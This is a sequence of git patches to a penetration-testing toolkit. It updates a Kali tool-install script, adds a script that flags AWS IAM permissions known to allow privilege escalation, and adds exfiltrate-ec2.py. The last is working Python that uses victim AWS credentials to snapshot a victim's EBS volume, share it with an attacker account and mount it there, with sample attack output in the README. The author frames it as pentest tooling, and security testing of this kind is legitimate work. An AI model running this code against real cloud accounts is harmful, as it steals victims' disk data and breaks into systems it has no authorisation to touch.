https://github.com/codingo/NoSQLMap.git @@ -476,6 +513,7 @@ git_clone https://github.com/NickstaDB/BaRMIe.git git_clone https://github.com/torque59/Nosql-Exploitation-Framework.git popd +# ======================================================================================= pushd windows git_clone https://github.com/M4ximuss/Powerless.git git_clone https://github.com/SecWiki/windows-kernel-exploits.git @@ -492,6 +530,7 @@ pyinstaller --onefile winpwnage.py cd .. popd +# ======================================================================================= pushd wireless git_clone https://github.com/brav0hax/easy-creds.git git_clone https://github.com/s0lst1c3/eaphammer.git ; cd eaphammer ; yes | ./kali-setup ; cd .. @@ -499,6 +538,7 @@ git_clone https://github.com/derv82/wifite2.git ; cd wifite2 ; python setup.py i popd +# ======================================================================================= # # Follow repos, collect 'requirements.txt' files and feed them into `pip install`. # We avoid the hassle of using virtualenv here and there. From 60adf26e0c398fa3bb064fe59e87094855dce3b5 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Tue, 3 Dec 2019 12:06:45 +0100 Subject: [PATCH 07/34] Fixes --- linux/prepare-kali.sh | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/linux/prepare-kali.sh b/linux/prepare-kali.sh index d4d4435..5292cdf 100644 --- a/linux/prepare-kali.sh +++ b/linux/prepare-kali.sh @@ -11,7 +11,7 @@ # will have to carry off the setup himself # - issues with unavailable repositories/packages are NOT acceptable. I need to either take care of # keeping tools list more or less up-to-date, or to remove tool's pull down entirely from the script -# - only tools that I've found useful at least twice are landing in this script. +# - only tools that I've found useful at least once are landing in this script. # # Mariusz B., '18-'19 # @@ -478,7 +478,6 @@ git_clone https://github.com/droope/droopescan.git git_clone https://github.com/enjoiz/XXEinjector.git git_clone https://github.com/breenmachine/httpscreenshot.git git_clone https://github.com/beefproject/beef/ ; pushd beef ; yes | ./install ; popd -git_clone https://github.com/mitmproxy/mitmproxy.git git_clone https://github.com/sqlmapproject/sqlmap.git mkdir aquatone ; cd aquatone wget https://github.com/michenriksen/aquatone/releases/latest/download/aquatone_linux_amd64_1.6.0.zip From fa851ace462e6b33565f34d0409cbd838e90a39f Mon Sep 17 00:00:00 2001 From: mgeeky Date: Tue, 3 Dec 2019 12:10:32 +0100 Subject: [PATCH 08/34] Changed docker installation strategy --- linux/prepare-kali.sh | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/linux/prepare-kali.sh b/linux/prepare-kali.sh index 5292cdf..2eee2e4 100644 --- a/linux/prepare-kali.sh +++ b/linux/prepare-kali.sh @@ -40,11 +40,12 @@ install_dotnet() { } install_docker() { - curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt- - echo 'deb https://download.docker.com/linux/debian stretch stable' > /etc/apt/sources.list.d/docker.list - apt update - apt-get remove -y docker docker-engine docker.io - apt-get install -y docker-ce + #curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt- + #echo 'deb https://download.docker.com/linux/debian stretch stable' > /etc/apt/sources.list.d/docker.list + #apt update + #apt-get remove -y docker docker-engine docker.io + #apt-get install -y docker-ce + apt install -y docker docker-compose docker run hello-world } From 86d1f2931f821e6c4fd283fd943124737fe1d94b Mon Sep 17 00:00:00 2001 From: mgeeky Date: Tue, 3 Dec 2019 16:34:06 +0100 Subject: [PATCH 09/34] evaluate-iam-role.sh --- clouds/aws/README.md | 2 + clouds/aws/evaluate-iam-role.sh | 79 +++++++++++++++++++++++++++++++++ 2 files changed, 81 insertions(+) create mode 100755 clouds/aws/evaluate-iam-role.sh diff --git a/clouds/aws/README.md b/clouds/aws/README.md index 0c25a9f..617142f 100644 --- a/clouds/aws/README.md +++ b/clouds/aws/README.md @@ -93,6 +93,8 @@ Afterwards, one should see following logs in CloudWatch traces for planted Lambd [*] Following S3 object could be removed: (Bucket=90112981864022885796153088027941100000000000000000000000, Key=cloudtrail/AWSLogs/712800000000/CloudTrail/us-west-2/2019/03/20/712800000000_CloudTrail_us-west-2_20190320T1000Z_oxxxxxxxxxxxxc.json.gz) ``` +- **`evaluate-iam-role.sh`** - Enumerates attached IAM Role policies, goes through all of granted permissions and lists those that are known for Privilege Escalation risks. Based on [Rhino Security Labs work](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/). [gist](https://gist.github.com/mgeeky/14685d94af7848e64afefe6fd2341a18) + - **`exfiltrateLambdaTasksDirectory.py`** - Script that creates an in-memory ZIP file from the entire directory `$LAMBDA_TASK_ROOT` (typically `/var/task`) and sends it out in a form of HTTP(S) POST request, within an `exfil` parameter. To be used for exfiltrating AWS Lambda's entire source code. - **`get-session-creds-in-config-format.sh`** - Calls `aws sts assume-role` using MFA token in order to then retrieve session credentials and reformat it into `~/.aws/credentials` file format. Having that it's easy to copy-and-paste that script's output into credentials file. Then tools such as _s3tk_ that are unable to process MFA tokens may just use preconfigured profile creds. diff --git a/clouds/aws/evaluate-iam-role.sh b/clouds/aws/evaluate-iam-role.sh new file mode 100755 index 0000000..723ca0d --- /dev/null +++ b/clouds/aws/evaluate-iam-role.sh @@ -0,0 +1,79 @@ +#!/bin/bash + +if [ $# -ne 2 ]; then + echo "Usage: evaluate-iam-role.sh " + exit 1 +fi + +PROFILE=$1 +ROLE_NAME=$2 + +known_dangerous_permissions=( + "iam:CreatePolicyVersion" + "iam:SetDefaultPolicyVersion" + "iam:PassRole" + "ec2:RunInstances" + "iam:CreateAccessKey" + "iam:CreateLoginProfile" + "iam:UpdateLoginProfile" + "iam:AttachUserPolicy" + "iam:AttachGroupPolicy" + "iam:AttachRolePolicy" + "iam:PutUserPolicy" + "iam:PutGroupPolicy" + "iam:PutRolePolicy" + "iam:AddUserToGroup" + "iam:UpdateAssumeRolePolicy" + "sts:AssumeRole" + "iam:PassRole" + "lambda:CreateFunction" + "lambda:InvokeFunction" + "lambda:CreateEventSourceMapping" + "lambda:UpdateFunctionCode" + "glue:CreateDevEndpoint" + "glue:UpdateDevEndpoint" + "cloudformation:CreateStack" + "datapipeline:CreatePipeline" + "datapipeline:PutPipelineDefinition" +) + +role_policy=$(aws --profile $PROFILE iam get-role --role-name $ROLE_NAME) + +echo -e "=============== Role: $ROLE_NAME ===============" +echo "$role_policy" + +IFS=$'\n' +attached_role_policies=($(aws --profile $PROFILE iam list-attached-role-policies --role-name $ROLE_NAME | jq -r '.AttachedPolicies[].PolicyArn')) + +dangerous_permissions=() + +for policy in "${attached_role_policies[@]}" ; do + echo -e "\n=============== Attached Policy Arn: $policy ===============" + + version_id=$(aws --profile $PROFILE iam get-policy --policy-arn $policy | jq -r '.Policy.DefaultVersionId') + + policy_version=$(aws --profile $PROFILE iam get-policy-version --policy-arn $policy --version-id $version_id) + echo "$policy_version" + + permissions=($(echo "$policy_version" | jq -r '.PolicyVersion.Document.Statement[].Action | if type=="string" then [.] else . end | .[]')) + effect=$(echo "$policy_version" | jq -r '.PolicyVersion.Document.Statement[].Effect' ) + + if [[ "$effect" == "Allow" ]]; then + for perm in "${permissions[@]}" ; do + for dangperm in "${known_dangerous_permissions[@]}"; do + if echo "$dangperm" | grep -iq $perm ; then + dangerous_permissions+=("$perm") + fi + done + done + fi +done + +if [[ ${#dangerous_permissions[@]} -gt 0 ]]; then + echo -e "\n\n=============== Detected dangerous permissions granted ===============" + for dangperm in "${dangerous_permissions[@]}"; do + echo -e "\t$dangperm" + done +else + echo -e "\nNo dangerous permissions were found to be granted." +fi From e3fc9a5e0edc8e5098b24199458786f166573cb3 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Tue, 3 Dec 2019 16:38:38 +0100 Subject: [PATCH 10/34] Fixed introduced type, removed pip* install -U pip --- linux/prepare-kali.sh | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/linux/prepare-kali.sh b/linux/prepare-kali.sh index 2eee2e4..7abbb68 100644 --- a/linux/prepare-kali.sh +++ b/linux/prepare-kali.sh @@ -64,10 +64,8 @@ export DEBIAN_FRONTEND=noninteractive apt-get update ; apt upgrade -y apt-get update --fix-missing -apt install -yq -m git build-essential binutils-dev vim python3 libunwind-dev python unzip python-pip python3-pip python3-venv python3-setuptools libssl-dev autoconf automake libtool python2.7-dev python3.7-dev python3-tk jq awscli npm graphviz golang neo4j libgconf-2-4 bloodhound lftp chromium heimdal-clients python-ldap rdate pcregrep lftp mingw-w64 bluetooth bluez libbluetooth-dev libudev-dev p7zip git ca-certificates build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi libstdc++-arm-none-eabi-newlib libqt4-dev libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev bettercap oscanner tnscmd10g samba samba-common smbclient unrar libnfc-bin autoconf libnfc-dev debian-keyring tox libmariadb-dev python-m2crypt mitmproxy +apt install -yq -m git build-essential binutils-dev vim python3 libunwind-dev python unzip python-pip python3-pip python3-venv python3-setuptools libssl-dev autoconf automake libtool python2.7-dev python3.7-dev python3-tk jq awscli npm graphviz golang neo4j libgconf-2-4 bloodhound lftp chromium heimdal-clients python-ldap rdate pcregrep lftp mingw-w64 bluetooth bluez libbluetooth-dev libudev-dev p7zip git ca-certificates build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi libstdc++-arm-none-eabi-newlib libqt4-dev libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev bettercap oscanner tnscmd10g samba samba-common smbclient unrar libnfc-bin autoconf libnfc-dev tox libmariadb-dev python-m2crypto -pip2 install -U pip -pip3 install -U pip pip3 install virtualenv awscli wheel boto3 botocore btlejack pip2 install virtualenv wheel boto3 botocore pyinstaller lxml pyip ansi2html From 4ffdcef9476417c78c82f9fed60f9130e282cfac Mon Sep 17 00:00:00 2001 From: mgeeky Date: Tue, 3 Dec 2019 16:52:32 +0100 Subject: [PATCH 11/34] evaluate-iam-role: support for wildcarded permissions --- clouds/aws/evaluate-iam-role.sh | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/clouds/aws/evaluate-iam-role.sh b/clouds/aws/evaluate-iam-role.sh index 723ca0d..c7975cd 100755 --- a/clouds/aws/evaluate-iam-role.sh +++ b/clouds/aws/evaluate-iam-role.sh @@ -9,6 +9,7 @@ PROFILE=$1 ROLE_NAME=$2 known_dangerous_permissions=( + "*:*" "iam:CreatePolicyVersion" "iam:SetDefaultPolicyVersion" "iam:PassRole" @@ -63,6 +64,8 @@ for policy in "${attached_role_policies[@]}" ; do for dangperm in "${known_dangerous_permissions[@]}"; do if echo "$dangperm" | grep -iq $perm ; then dangerous_permissions+=("$perm") + elif echo "$perm" | grep -qP "\w+:\*"; then + dangerous_permissions+=("$perm") fi done done @@ -71,7 +74,8 @@ done if [[ ${#dangerous_permissions[@]} -gt 0 ]]; then echo -e "\n\n=============== Detected dangerous permissions granted ===============" - for dangperm in "${dangerous_permissions[@]}"; do + sorted=($(echo "${dangerous_permissions[@]}" | tr ' ' '\n' | sort -u )) + for dangperm in "${sorted[@]}"; do echo -e "\t$dangperm" done else From 95203e33e18dce9419058d62e954f53cfb001c1c Mon Sep 17 00:00:00 2001 From: mgeeky Date: Wed, 4 Dec 2019 11:55:42 +0100 Subject: [PATCH 12/34] recursivegitpull alias updated --- linux/prepare-kali.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/linux/prepare-kali.sh b/linux/prepare-kali.sh index 7abbb68..6bc0b49 100644 --- a/linux/prepare-kali.sh +++ b/linux/prepare-kali.sh @@ -826,7 +826,7 @@ alias eslintjs='eslint --no-eslintrc -c ~/.eslintrc.js .' alias unblock_dir='sudo chmod -R 755' alias block_dir='sudo chmod -R 700' -alias recursivegitpull='find . -mindepth 1 -maxdepth 1 -type d -print -exec git -C {} pull \;' +alias recursivegitpull='find . -name ".git" -type d -exec echo {} \; -exec git -C {}/.. pull \;' EOF sed -i -r "s:~/:$ROOT_DIR/:" $ROOT_DIR/.bashrc From 853f891a8491447200f8e90e6882dbd83de9f1f2 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Wed, 4 Dec 2019 17:56:56 +0100 Subject: [PATCH 13/34] Added exfiltrate-ec2.py --- clouds/aws/README.md | 94 +++++++ clouds/aws/exfiltrate-ec2.py | 521 +++++++++++++++++++++++++++++++++++ linux/prepare-kali.sh | 2 +- 3 files changed, 616 insertions(+), 1 deletion(-) create mode 100644 clouds/aws/exfiltrate-ec2.py diff --git a/clouds/aws/README.md b/clouds/aws/README.md index 617142f..7573005 100644 --- a/clouds/aws/README.md +++ b/clouds/aws/README.md @@ -95,6 +95,100 @@ Afterwards, one should see following logs in CloudWatch traces for planted Lambd - **`evaluate-iam-role.sh`** - Enumerates attached IAM Role policies, goes through all of granted permissions and lists those that are known for Privilege Escalation risks. Based on [Rhino Security Labs work](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/). [gist](https://gist.github.com/mgeeky/14685d94af7848e64afefe6fd2341a18) +- **`exfiltrate-ec2.py`** - This script exploits insecure permissions given to the EC2 IAM Role allowing to exfiltrate target EC2's filesystem data in a form of it's shared EBS snapshot or publicly exposed AMI image. + +IAM Permissions abused: +- `ec2:CreateSnapshot` +- `ec2:ModifySnapshotAttribute` +- `ec2:CreateImage` + +``` +attacker $ python3 ./exfiltrate-ec2.py --region us-east-1 -v --profile default --victim-profile victim-profile createsnapshot --volume-id vol-0f340890acfXXXXX --attach-instance-id i-0b359b0fcbcYYYYY + + :: exfiltrate-ec2 + Exfiltrates EC2 data by creating an image of it or snapshot of it's EBS volume + Mariusz B. / mgeeky '19, + +[.] Using attacker's profile: default +[.] Using victim's profile: victim-profile +[.] Using region: us-east-1 +[.] Authenticating using Attacker's AWS credentials... +[.] Authenticating using Victim's AWS credentials... +[>] Abusing dangerous ec2:CreateSnapshot and ec2:ModifySnapshotAttribute... + +[>] Step 1: Creating EBS volume snapshot. VolumeId = vol-0f340890acfXXXXX +[+] Snapshot of volume vol-0f340890acfXXXXX created: snap-0d7a43f0ff34ZZZZ +[>] Step 2: Modifying snapshot attributes to share it with UserId = 71284700000 +[+] Snapshot's attributes modified to share it with user 71284700000 +[>] Step 3: Waiting for the snapshot to transit into completed state. +[>] Step 4: Creating EBS volume in Attacker's 71284700000 AWS account. +[.] Obtained Attacker's EC2 instance Availbility Zone automatically: us-east-1d +[+] Created EBS volume (vol-04f36e35abeWWW at Attacker's side out from exfiltrated snapshot (snap-0d7a43f0ff34ZZZZ) +[>] Step 5: Waiting for the volume to transit into created state. +[>] Step 6: Attaching created EBS volume to Attacker's specified EC2 instance +[-] Attacker's machine is in running state, preventing to attach it a volume. +[.] Trying to stop the EC2 instance, then attach the volume and then restart it. +[+] Attached volume to the specified Attacker's EC2 instance: i-0b359b0fcbcYYYYY +[.] Restarting it... + +=============================================================== +[MODULE FINISHED] +=============================================================== + +[+] Exfiltrated snapshot of a victim's EBS volume: + VictimVolumeId = vol-0f340890acfXXXXX + +[+] By creating a snapshot of it, shared to the attacker's AWS user ID. + SnapshotId = snap-0d7a43f0ff34ZZZZ + +If everything went fine, Attacker's AWS account 71284700000 should have a EBS volume now: + AttackerVolumeId = vol-04f36e35abeWWW + +That was attached to the specified attacker's EC2 instance: + AttackerInstanceId = i-0b359b0fcbcYYYYY + AvailibityZone = us-east-1d + +Most likely as a '/dev/xvdf' device. + +=============================================================== +To examine exfiltrated data: + + 0) SSH to the attacker's EC2 instance + # ssh ec2-user@18.206.230.190 + + + 1) List block devices mapped: + # lsblk + + 2) If above listing yielded mapped block device, e.g. xvdf, create a directory for it: + # mkdir /exfiltrated + + 3) Mount that device's volume: + # mount /dev/xvdf1 /exfiltrated + + +attacker $ ssh ec2-user@18.206.230.190 +[...] +ec2-user@ec2instance:~$ sudo -s +root@ec2instance:/home/ec2-user# lsblk +NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT +xvda 202:0 0 25G 0 disk +└─xvda1 202:1 0 25G 0 part +xvdf 202:80 0 25G 0 disk +└─xvdf1 202:81 0 25G 0 part / +root@ec2instance:/home/ec2-user# mkdir /exfiltrated +root@ec2instance:/home/ec2-user# mount /dev/xvda1 /exfiltrated +root@ec2instance:/home/ec2-user# ls -l /exfiltrated +total 84 +-rw-r--r-- 1 root root 0 lip 31 2018 0 +lrwxrwxrwx 1 root root 7 sie 17 2018 bin -> usr/bin +drwxr-xr-x 3 root root 4096 sie 17 2018 boot +drwxr-xr-x 4 root root 4096 sie 17 2018 dev +drwxr-xr-x 179 root root 12288 gru 4 16:37 etc +drwxr-xr-x 3 root root 4096 lis 4 16:18 home +[...] +``` + - **`exfiltrateLambdaTasksDirectory.py`** - Script that creates an in-memory ZIP file from the entire directory `$LAMBDA_TASK_ROOT` (typically `/var/task`) and sends it out in a form of HTTP(S) POST request, within an `exfil` parameter. To be used for exfiltrating AWS Lambda's entire source code. - **`get-session-creds-in-config-format.sh`** - Calls `aws sts assume-role` using MFA token in order to then retrieve session credentials and reformat it into `~/.aws/credentials` file format. Having that it's easy to copy-and-paste that script's output into credentials file. Then tools such as _s3tk_ that are unable to process MFA tokens may just use preconfigured profile creds. diff --git a/clouds/aws/exfiltrate-ec2.py b/clouds/aws/exfiltrate-ec2.py new file mode 100644 index 0000000..435fb56 --- /dev/null +++ b/clouds/aws/exfiltrate-ec2.py @@ -0,0 +1,521 @@ +#!/usr/bin/python3 +# +# This script abuses insecure permissions given to the EC2 IAM Role to exfiltrate target EC2's +# filesystem data in a form of it's shared EBS snapshot or publicly exposed AMI image. +# +# CreateSnapshot: +# Abuses: +# ec2:CreateSnapshot +# ec2:ModifySnapshotAttribute +# +# The script will firstly create an EBS volume snapshot of the provided volume id. Then it will +# modify that snapshot's attributes to make it available for the foreign AWS Account that's going to +# be the Attacker's account. Then, the attacker will be able to create an EBS volume out of that snapshot. +# After doing so, the script will stop specified by the Attacker EC2 instance in order to later on attach it +# with a previously created volume. Afterwards, the instance will be restarted and the attacker will be able +# to mount freshly attached volume in the operating system to further examine its contents. +# +# This technique is safe to be demonstrated during AWS Penetration tests. +# +# +# CreateImage: +# Abuses: +# ec2:CreateImage +# +# NOT IMPLEMENTED YET. +# For this technique, the procedure is following - the script will create an image out of specified victim's EC2 +# instance. This image will become publicly available (caution with client sensitive data!). After that, the script +# will attempt to create/import public SSH RSA keys to the attacker's account and then create an EC2 instance using that +# publicly available just created AMI image. Ultimately, the attacker will be able to SSH into newly created box to +# further examine it's filesystem contents. +# +# WARNING: Since this method creates a publicly available AMI image that will contain customer sensitive data, it is +# not recommended to use it during legal AWS Penetration Tests +# +# Author: Mariusz B. / mgeeky, '19, +# + +import sys +import pyjq +import json +import time +import boto3 +import argparse +from botocore.exceptions import ClientError + +config = { + 'verbose' : False, + 'region' : '', + 'victim' : { + 'profile' : '', + 'access-key' : '', + 'secret-key' : '', + 'token' : '', + }, + 'attacker' : { + 'profile' : '', + 'access-key' : '', + 'secret-key' : '', + 'token' : '', + }, + 'method' : '', + 'volume-id': '', + 'instance-id': '', + 'attach-instance-id': '', +} + +class Logger: + @staticmethod + def _out(x): + sys.stdout.write(x + '\n') + + @staticmethod + def out(x): + Logger._out('[>] ' + x) + + @staticmethod + def info(x): + if config['verbose']: + Logger._out('[.] ' + x) + + @staticmethod + def fatal(x): + sys.stdout.write('[!] ' + x + '\n') + sys.exit(1) + + @staticmethod + def fail(x): + Logger._out('[-] ' + x) + + @staticmethod + def ok(x): + Logger._out('[+] ' + x) + + +class ExfiltrateEC2: + session = None + def __init__(self, region, attacker_keys, victim_keys): + self.region = region + self.keys = { + 'attacker' : {}, + 'victim' : {}, + } + self.keys['attacker'] = attacker_keys + self.keys['victim'] = victim_keys + self.session = { + 'attacker' : None, + 'victim' : None, + } + + Logger.info(f"Using region: {region}") + + Logger.info("Authenticating using Attacker's AWS credentials...") + self.session['attacker'] = self.authenticate(region, attacker_keys) + + Logger.info("Authenticating using Victim's AWS credentials...") + self.session['victim'] = self.authenticate(region, victim_keys) + + def authenticate(self, region, keys): + session = None + try: + if keys['profile']: + session = boto3.Session( + profile_name = keys['profile'], + region_name = region + ) + else: + session = boto3.Session( + aws_access_key_id = keys['access-key'], + aws_secret_access_key = keys['secret-key'], + aws_session_token = keys['token'], + region_name = region + ) + except Exception as e: + Logger.fail(f'Could not authenticate to AWS: {e}') + raise e + + return session + + def get_session(self, whose): + return self.session[whose] + + def get_account_id(self, whose): + try: + return self.session[whose].client('sts').get_caller_identity()['Account'] + except Exception as e: + Logger.fatal(f'Could not Get Caller\'s identity: {e}') + + def create_snapshot(self, attacker_instance_id, volume_id, availability_zone): + victim_client = self.session['victim'].client('ec2') + attacker_client = self.session['attacker'].client('ec2') + + target_user = self.get_account_id('attacker') + + snapshot = None + volume_created = None + modify_result = None + + Logger.out(f"Step 1: Creating EBS volume snapshot. VolumeId = {volume_id}") + try: + snapshot = victim_client.create_snapshot( + Description = f'Exfiltrated EBS snapshot of volume: {volume_id}', + VolumeId = volume_id + ) + Logger.ok(f"Snapshot of volume {volume_id} created: {snapshot['SnapshotId']}") + except Exception as e: + Logger.fatal(f"ec2:CreateSnapshot action on Victim failed. Exception: {e}") + + Logger.out(f"Step 2: Modifying snapshot attributes to share it with UserId = {target_user}") + try: + modify_result = victim_client.modify_snapshot_attribute( + Attribute = f'createVolumePermission', + OperationType = 'add', + SnapshotId = snapshot['SnapshotId'], + UserIds = [ + target_user, + ] + ) + Logger.ok(f"Snapshot's attributes modified to share it with user {target_user}") + except Exception as e: + Logger.fatal(f"ec2:ModifySnapshotAttribute action on Victim failed. Exception: {e}") + + Logger.out(f"Step 3: Waiting for the snapshot to transit into completed state.") + try: + victim_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot['SnapshotId']]) + except Exception as e: + Logger.fail(f"boto3 Waiter for snapshot completed state failed. Exception: {e}") + Logger.info("Waiting in a traditional manner: 3 minutes.") + + time.sleep(3 * 60) + + Logger.out(f"Step 4: Creating EBS volume in Attacker's {target_user} AWS account.") + + attacker_instance_data = None + try: + if not availability_zone: + availability_zone = self.region + 'a' + attacker_instance = attacker_client.describe_instances( + InstanceIds = [attacker_instance_id, ] + ) + + for inst in attacker_instance['Reservations'][0]['Instances']: + if inst['InstanceId'] == attacker_instance_id: + availability_zone = inst['Placement']['AvailabilityZone'] + attacker_instance_data = inst + Logger.info(f"Obtained Attacker's EC2 instance Availbility Zone automatically: {availability_zone}") + break + except Exception as e: + Logger.fail(f"THIS MAY BE FATAL: Could not enumerate attacker's instance with given InstanceId = {attacker_instance_id}") + Logger.fail(f"Exception: {e}") + raise e + availability_zone = self.region + 'a' + + try: + volume_created = attacker_client.create_volume( + AvailabilityZone = availability_zone, + Encrypted = False, + VolumeType = 'gp2', + SnapshotId = snapshot['SnapshotId'] + ) + Logger.ok(f"Created EBS volume ({volume_created['VolumeId']} at Attacker's side out from exfiltrated snapshot ({snapshot['SnapshotId']})") + except Exception as e: + Logger.fail(f"ec2:CreateVolume action on Attacker failed. Exception: {e}") + + Logger.out(f"Step 5: Waiting for the volume to transit into created state.") + try: + attacker_client.get_waiter('volume_available').wait(VolumeIds=[volume_created['VolumeId']]) + except Exception as e: + Logger.fail(f"boto3 Waiter for volume available failed. Exception: {e}") + Logger.info("Waiting in a traditional manner: 3 minutes.") + + time.sleep(3 * 60) + + Logger.out(f"Step 6: Attaching created EBS volume to Attacker's specified EC2 instance") + try: + attacker_client.attach_volume( + Device = '/dev/xvdf', + InstanceId = attacker_instance_id, + VolumeId = volume_created['VolumeId'] + ) + Logger.ok(f"Attached volume to the specified Attacker's EC2 instance: {attacker_instance_id}") + except Exception as e: + if 'IncorrectInstanceState' in str(e): + Logger.fail("Attacker's machine is in running state, preventing to attach it a volume.") + Logger.info("Trying to stop the EC2 instance, then attach the volume and then restart it.") + + try: + attacker_instance = attacker_client.stop_instances( + InstanceIds = [attacker_instance_id, ] + ) + attacker_client.get_waiter('instance_stopped').wait(InstanceIds = [attacker_instance_id, ]) + attacker_client.attach_volume( + Device = '/dev/xvdf', + InstanceId = attacker_instance_id, + VolumeId = volume_created['VolumeId'] + ) + Logger.ok(f"Attached volume to the specified Attacker's EC2 instance: {attacker_instance_id}") + except Exception as e: + Logger.fail(f"ec2:AttachVolume action on Attacker failed. Exception: {e}") + Logger.fail("Tried to automatically stop attacker's EC2 instance, then attach volume and restart it, but that failed as well.") + Logger.fail(f"Exception: " + str(e)) + + Logger.info("Restarting it...") + attacker_instance = attacker_client.start_instances( + InstanceIds = [attacker_instance_id, ] + ) + attacker_client.get_waiter('instance_running').wait(InstanceIds = [attacker_instance_id, ]) + + try: + attacker_instance = attacker_client.describe_instances( + InstanceIds = [attacker_instance_id, ] + ) + for inst in attacker_instance['Reservations'][0]['Instances']: + if inst['InstanceId'] == attacker_instance_id: + attacker_instance_data = inst + break + except: pass + else: + Logger.fail(f"ec2:AttachVolume action on Attacker failed. Exception: {e}") + + ssh_command = 'SSH to the attacker\'s EC2 instance' + if attacker_instance_data: + try: + ip = attacker_instance_data['PublicIpAddress'] + except: + Logger.fail(f"Could not obtain Attacker's EC2 Public ip address. Available fields:\n {attacker_instance_data}\n") + ip = "ec2-ip-address" + + if ip: + ssh_command = f'''SSH to the attacker's EC2 instance + # ssh ec2-user@{ip} +''' + + print(f''' +=============================================================== +[MODULE FINISHED] +=============================================================== + +[+] Exfiltrated snapshot of a victim's EBS volume: + VictimVolumeId = {volume_id} + +[+] By creating a snapshot of it, shared to the attacker's AWS user ID. + SnapshotId = {snapshot['SnapshotId']} + +If everything went fine, Attacker's AWS account {target_user} should have a EBS volume now: + AttackerVolumeId = {volume_created['VolumeId']} + +That was attached to the specified attacker's EC2 instance: + AttackerInstanceId = {attacker_instance_id} + AvailibityZone = {availability_zone} + +Most likely as a '/dev/xvdf' device. + +=============================================================== +To examine exfiltrated data: + + 0) {ssh_command} + 1) List block devices mapped: + # lsblk + + 2) If above listing yielded mapped block device, e.g. xvdf, create a directory for it: + # mkdir /exfiltrated + + 3) Mount that device's volume: + # mount /dev/xvdf1 /exfiltrated + + 4) Review it's contents: + # ls -l /exfiltrated +''') + return True + + def create_image(self, instance_id): + # Step 1: Create image: + # client.create_image( + # InstanceId = "", + # Name = "some name", + # Description = "some description" + # ) + # Returns: + # { + # "ImageId" : "ami-00000000" + # } + + # Step 2: Import custom SSH RSA public key + # client.import_key_pair( + # KeyName = "Some key name" + # PublicKeyMaterial = "key material" + # ) + + # Step 3: Create an instance from exported AMI + # client.run_instances( + # ImageId = "ami-00000000", + # SecurityGroupIds = ["sg-00000", ], + # SubnetId = "subnet-aaaaaa", + # Count = 1, + # InstanceType = "t2.micro", + # KeyName = "Some key name", + # Query = "Instances[0].InstanceId", + # ) + # Returns: + # "i-00001111002222" + + # Step 4: Connect to that EC2 instance + # client.describe_instances( + # InstanceIds = ["i-00001111002222"], + # Query = "Reservations[0].Instances[0].PublicIpAddress" + # ) + # Returns: + # "1.2.3.4" + # + # $ ssh ec2-user@1.2.3.4 + # $ ls -l + Logger.fatal("NOT IMPLEMENTED YET.") + +def parseOptions(argv): + global config + + print(''' + :: exfiltrate-ec2 + Exfiltrates EC2 data by creating an image of it or snapshot of it's EBS volume + Mariusz B. / mgeeky '19, +''') + + parser = argparse.ArgumentParser(prog = argv[0]) + parser._action_groups.pop() + required = parser.add_argument_group('required arguments') + optional = parser.add_argument_group('optional arguments') + + attacker = parser.add_argument_group('Attacker\'s AWS credentials - where to instantiate exfiltrated EC2') + victim = parser.add_argument_group('Victim AWS credentials - where to find EC2 to exfiltrate') + + required.add_argument('--region', type=str, help = 'AWS Region to use.') + + attacker.add_argument('--profile', type=str, help = 'Attacker\'s AWS Profile name to use if --access-key was not specified', default = 'default') + attacker.add_argument('--access-key', type=str, help = 'Attacker\'s AWS Access Key ID to use if --profile was not specified') + attacker.add_argument('--secret-key', type=str, help = 'Attacker\'s AWS Secret Key ID') + attacker.add_argument('--token', type=str, help = '(Optional) Attacker\'s AWS temporary session token') + + victim.add_argument('--victim-profile', type=str, help = 'Victim\'s AWS Profile name to use if --access-key was not specified') + victim.add_argument('--victim-access-key', type=str, help = 'Victim\'s AWS Access Key ID to use if --profile was not specified') + victim.add_argument('--victim-secret-key', type=str, help = 'Victim\'s AWS Secret Key ID') + victim.add_argument('--victim-token', type=str, help = '(Optional) Victim\'s AWS temporary session token') + + optional.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.') + + subparsers = parser.add_subparsers(help='Available methods', dest='method') + + a = 'Creates a snapshot of a running or stopped EC2 instance in an AMI image form.'\ + ' This AMI image will then be shared with another AWS account, constituing exfiltration opportunity.' + createimage = subparsers.add_parser('createimage', help = a) + createimage.add_argument('--instance-id', help = '(Required) Specifies instance id (i-...) to create an image of.') + + b = 'Creates a snapshot of an EBS volume used by an EC2 instance.'\ + ' This snapshot will then be shared with another AWS account, constituing exfiltration opportunity.' + createsnapshot = subparsers.add_parser('createsnapshot', help = b) + createsnapshot.add_argument('--volume-id', help = '(Required) Specifies EBS volume id (vol-...) to create a snapshot of.') + createsnapshot.add_argument('--attach-instance-id', help = '(Required) Specifies Attacker\'s instance ID where snapshot should be attached as a volume (i-...). This instance must be created in the same region as specified and must be in a STOPPED state. Otherwise, this script will automatically stop the instance and then restart it after attaching volume.') + createsnapshot.add_argument('--availability-zone', help = '(Optional) Specifies in which Attacker\'s EC2 instance availability zone was placed. If this parameter is not specified, the program will try to invoke ec2:DescribeInstances to find that information automatically.') + + args = parser.parse_args() + + config['verbose'] = args.verbose + config['region'] = args.region + + if args.method == 'createimage': + if args.instance_id != None: + config['instance-id'] = args.instance_id + else: + Logger.fatal('--instance-id parameter is required for this to work.') + + if args.method == 'createsnapshot': + if args.volume_id != None and args.attach_instance_id != None: + config['volume-id'] = args.volume_id + config['attach-instance-id'] = args.attach_instance_id + 